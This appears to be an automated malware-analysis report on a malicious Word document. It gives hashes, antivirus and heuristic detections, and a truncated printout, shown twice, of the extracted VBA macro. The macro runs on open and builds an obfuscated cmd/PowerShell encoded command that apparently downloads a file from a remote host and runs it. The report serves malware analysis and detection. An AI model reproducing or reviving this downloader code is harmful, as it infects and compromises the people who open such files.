Office (OLE) malware analysis — malicious · 6ca1773b14b136dd

MALICIOUS

Office (OLE)

75.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-18

MD5: cf3a147dd20c1fa8ed91d9f345bf2ae2 SHA-1: f0bb79b0d8cb3417efe0c773a8cc29c58c956f72 SHA-256: 6ca1773b14b136dd7b3e7906f73d0d05f21d00e1f829303ac9167454f1b22bee

242 Risk Score

Heuristics 7

ClamAV: Doc.Malware.00536d-6731394-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.00536d-6731394-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9332 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	9332 bytes
SHA-256: `9195b74d0910e0cbe33e2affdf9f4581beb434c5425ff50c0b1d081d9e7d4ebf`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const NuvapadiVuPVicAGoQuwomyMii = 0 Sub AutoOpen() On Error Resume Next Dim NiLAvIsuhEGUHuiEnyCxOdozEhEKKoVobO NiLAvIsuhEGUHuiEnyCxOdozEhEKKoVobO = IsNull(Choose(1, "sizUzulIguTiniWUrzyygU", "NiLAvIsuhEGUHuiEnyCxOdozEhEKKoVobO", "sizUzulIguTiniWUrzyygUNiLAvIsuhEGUHuiEnyCxOdozEhEKKoVobO")) IsError CVErr(2123) If 2123 > LenB(CStr(12 ^ 4)) Then Call IsError(CVErr(Val(CStr(sizUzulIguTiniWUrzyygU)))) End If Dim TivixUUgaNKuqIxyqIeZaVEwACo TivixUUgaNKuqIxyqIeZaVEwACo = IsNull(Choose(7, "KuXtIGYxoqatidA", "TivixUUgaNKuqIxyqIeZaVEwACo", "KuXtIGYxoqatidATivixUUgaNKuqIxyqIeZaVEwACo")) IsError CVErr(4391) If 4391 > LenB(CStr(13 ^ 4)) Then Call IsError(CVErr(Val(CStr(KuXtIGYxoqatidA)))) End If deZeTiauJuvOXeWIWbyjupEMykyTYguNaNuRI = "" + Format(ChrW(99)) + "md.exe /" + Format(ChrW(99)) + " P^O^W^e^r^s^" + Format(ChrW(2 + (35 * 2))) + "^e^l^L^.^E^X^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW(99)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^Q^A^" + Format(ChrW(99)) + "^A^A^6^A^C^8^A^L^w^B^v^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^Z^Q^B^s^A^G^w^A^b^w^B^u^A^G^k^A^" + Format(ChrW(99)) + "^w^B^0^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW(99)) + "^A^B^o^A^" + Format(ChrW(2 + (35 * 2))) + "^A" Dim rYayQiQenOxozeHuSyBYxirAaA rYayQiQenOxozeHuSyBYxirAaA = IsNull(Choose(5, "lydapamERiNazoPyZIJuPEny", "rYayQiQenOxozeHuSyBYxirAaA", "lydapamERiNazoPyZIJuPEnyrYayQiQenOxozeHuSyBYxirAaA")) IsError CVErr(7863) If 7863 > LenB(CStr(11 ^ 4)) Then Call IsError(CVErr(Val(CStr(lydapamERiNazoPyZIJuPEny)))) End If Dim VebyTaPpuPViMiaYzYwySUfA VebyTaPpuPViMiaYzYwySUfA = IsNull(Choose(4, "DoPOCoiAnAXi", "VebyTaPpuPViMiaYzYwySUfA", "DoPOCoiAnAXiVebyTaPpuPViMiaYzYwySUfA")) IsError CVErr(8589) If 8589 > LenB(CStr(13 ^ 4)) Then Call IsError(CVErr(Val(CStr(DoPOCoiAnAXi)))) End If Dim woRuroZUtenYvIgVuVAfemEINYcIFOgaiAc woRuroZUtenYvIgVuVAfemEINYcIFOgaiAc = IsNull(Choose(10, "MESaVTaDnAXusigYcilaZI", "woRuroZUtenYvIgVuVAfemEINYcIFOgaiAc", "MESaVTaDnAXusigYcilaZIwoRuroZUtenYvIgVuVAfemEINYcIFOgaiAc")) IsError CVErr(4994) If 4994 > LenB(CStr(10 ^ 4)) Then Call IsError(CVErr(Val(CStr(MESaVTaDnAXusigYcilaZI)))) End If Dim SYxYhaVoSIvyCAjiliQOmaNOqwuBaqUMU SYxYhaVoSIvyCAjiliQOmaNOqwuBaqUMU = IsNull(Choose(9, "bIFEqaRYbBe", "SYxYhaVoSIvyCAjiliQOmaNOqwuBaqUMU", "bIFEqaRYbBeSYxYhaVoSIvyCAjiliQOmaNOqwuBaqUMU")) IsError CVErr(8656) If 8656 > LenB(CStr(12 ^ 4)) Then Call IsError(CVErr(Val(CStr(bIFEqaRYbBe)))) End If FOHYhiZaZiZodUfasImokhIQAduHiMaViQUve = "^A^P^w^B^s^A^D^0^A^Z^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^" + Format(ChrW(99)) + "^A^a^w^A^0^A^C^4^A^e^A^B^h^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW(99)) + "^A^D^k^A^O^Q^B^m^A^G^M^A^O^A^B^h^A^D^Y^A^O^A^A^u^A^G^U^A^e^A^B^l^A^C^" + Format(ChrW(99)) + "^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^" + Format(ChrW(99)) + "^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^" + Format(ChrW(99)) + "^w^A^g^A^C^Q^A^Z^Q^B^u^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^" + Format(ChrW(99)) + "^A^X^A^A^5^A^D^k^A^Z^g^B^j^A^D^g^A^Y^Q^A^2^A^D^g^A^L^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^g^A^Z^Q^A^n^A^D^s^A^I^A^A^g^A^E" Dim aabuFUiYFucAmityaiRAWgyfY aabuFUiYFucAmityaiRAWgyfY = IsNull(Choose(8, "nySYzecazwUlAlIL", "aabuFUiYFucAmityaiRAWgyfY", "nySYzecazwUlAlILaa ... (truncated)

SHA-256: 9195b74d0910e0cbe33e2affdf9f4581beb434c5425ff50c0b1d081d9e7d4ebf

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const NuvapadiVuPVicAGoQuwomyMii = 0
Sub AutoOpen()
On Error Resume Next
Dim NiLAvIsuhEGUHuiEnyCxOdozEhEKKoVobO

NiLAvIsuhEGUHuiEnyCxOdozEhEKKoVobO = IsNull(Choose(1, "sizUzulIguTiniWUrzyygU", "NiLAvIsuhEGUHuiEnyCxOdozEhEKKoVobO", "sizUzulIguTiniWUrzyygUNiLAvIsuhEGUHuiEnyCxOdozEhEKKoVobO"))
IsError CVErr(2123)

If 2123 > LenB(CStr(12 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(sizUzulIguTiniWUrzyygU))))
End If
Dim TivixUUgaNKuqIxyqIeZaVEwACo

TivixUUgaNKuqIxyqIeZaVEwACo = IsNull(Choose(7, "KuXtIGYxoqatidA", "TivixUUgaNKuqIxyqIeZaVEwACo", "KuXtIGYxoqatidATivixUUgaNKuqIxyqIeZaVEwACo"))
IsError CVErr(4391)

If 4391 > LenB(CStr(13 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(KuXtIGYxoqatidA))))
End If
deZeTiauJuvOXeWIWbyjupEMykyTYguNaNuRI = "" + Format(ChrW(99)) + "md.exe /" + Format(ChrW(99)) + " P^O^W^e^r^s^" + Format(ChrW(2 + (35 * 2))) + "^e^l^L^.^E^X^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW(99)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^Q^A^" + Format(ChrW(99)) + "^A^A^6^A^C^8^A^L^w^B^v^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^Z^Q^B^s^A^G^w^A^b^w^B^u^A^G^k^A^" + Format(ChrW(99)) + "^w^B^0^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW(99)) + "^A^B^o^A^" + Format(ChrW(2 + (35 * 2))) + "^A"
Dim rYayQiQenOxozeHuSyBYxirAaA

rYayQiQenOxozeHuSyBYxirAaA = IsNull(Choose(5, "lydapamERiNazoPyZIJuPEny", "rYayQiQenOxozeHuSyBYxirAaA", "lydapamERiNazoPyZIJuPEnyrYayQiQenOxozeHuSyBYxirAaA"))
IsError CVErr(7863)

If 7863 > LenB(CStr(11 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(lydapamERiNazoPyZIJuPEny))))
End If
Dim VebyTaPpuPViMiaYzYwySUfA

VebyTaPpuPViMiaYzYwySUfA = IsNull(Choose(4, "DoPOCoiAnAXi", "VebyTaPpuPViMiaYzYwySUfA", "DoPOCoiAnAXiVebyTaPpuPViMiaYzYwySUfA"))
IsError CVErr(8589)

If 8589 > LenB(CStr(13 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(DoPOCoiAnAXi))))
End If

Dim woRuroZUtenYvIgVuVAfemEINYcIFOgaiAc

woRuroZUtenYvIgVuVAfemEINYcIFOgaiAc = IsNull(Choose(10, "MESaVTaDnAXusigYcilaZI", "woRuroZUtenYvIgVuVAfemEINYcIFOgaiAc", "MESaVTaDnAXusigYcilaZIwoRuroZUtenYvIgVuVAfemEINYcIFOgaiAc"))
IsError CVErr(4994)

If 4994 > LenB(CStr(10 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(MESaVTaDnAXusigYcilaZI))))
End If
Dim SYxYhaVoSIvyCAjiliQOmaNOqwuBaqUMU

SYxYhaVoSIvyCAjiliQOmaNOqwuBaqUMU = IsNull(Choose(9, "bIFEqaRYbBe", "SYxYhaVoSIvyCAjiliQOmaNOqwuBaqUMU", "bIFEqaRYbBeSYxYhaVoSIvyCAjiliQOmaNOqwuBaqUMU"))
IsError CVErr(8656)

If 8656 > LenB(CStr(12 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(bIFEqaRYbBe))))
End If
FOHYhiZaZiZodUfasImokhIQAduHiMaViQUve = "^A^P^w^B^s^A^D^0^A^Z^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^" + Format(ChrW(99)) + "^A^a^w^A^0^A^C^4^A^e^A^B^h^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW(99)) + "^A^D^k^A^O^Q^B^m^A^G^M^A^O^A^B^h^A^D^Y^A^O^A^A^u^A^G^U^A^e^A^B^l^A^C^" + Format(ChrW(99)) + "^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^" + Format(ChrW(99)) + "^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^" + Format(ChrW(99)) + "^w^A^g^A^C^Q^A^Z^Q^B^u^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^" + Format(ChrW(99)) + "^A^X^A^A^5^A^D^k^A^Z^g^B^j^A^D^g^A^Y^Q^A^2^A^D^g^A^L^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^g^A^Z^Q^A^n^A^D^s^A^I^A^A^g^A^E"
Dim aabuFUiYFucAmityaiRAWgyfY

aabuFUiYFucAmityaiRAWgyfY = IsNull(Choose(8, "nySYzecazwUlAlIL", "aabuFUiYFucAmityaiRAWgyfY", "nySYzecazwUlAlILaa
... (truncated)

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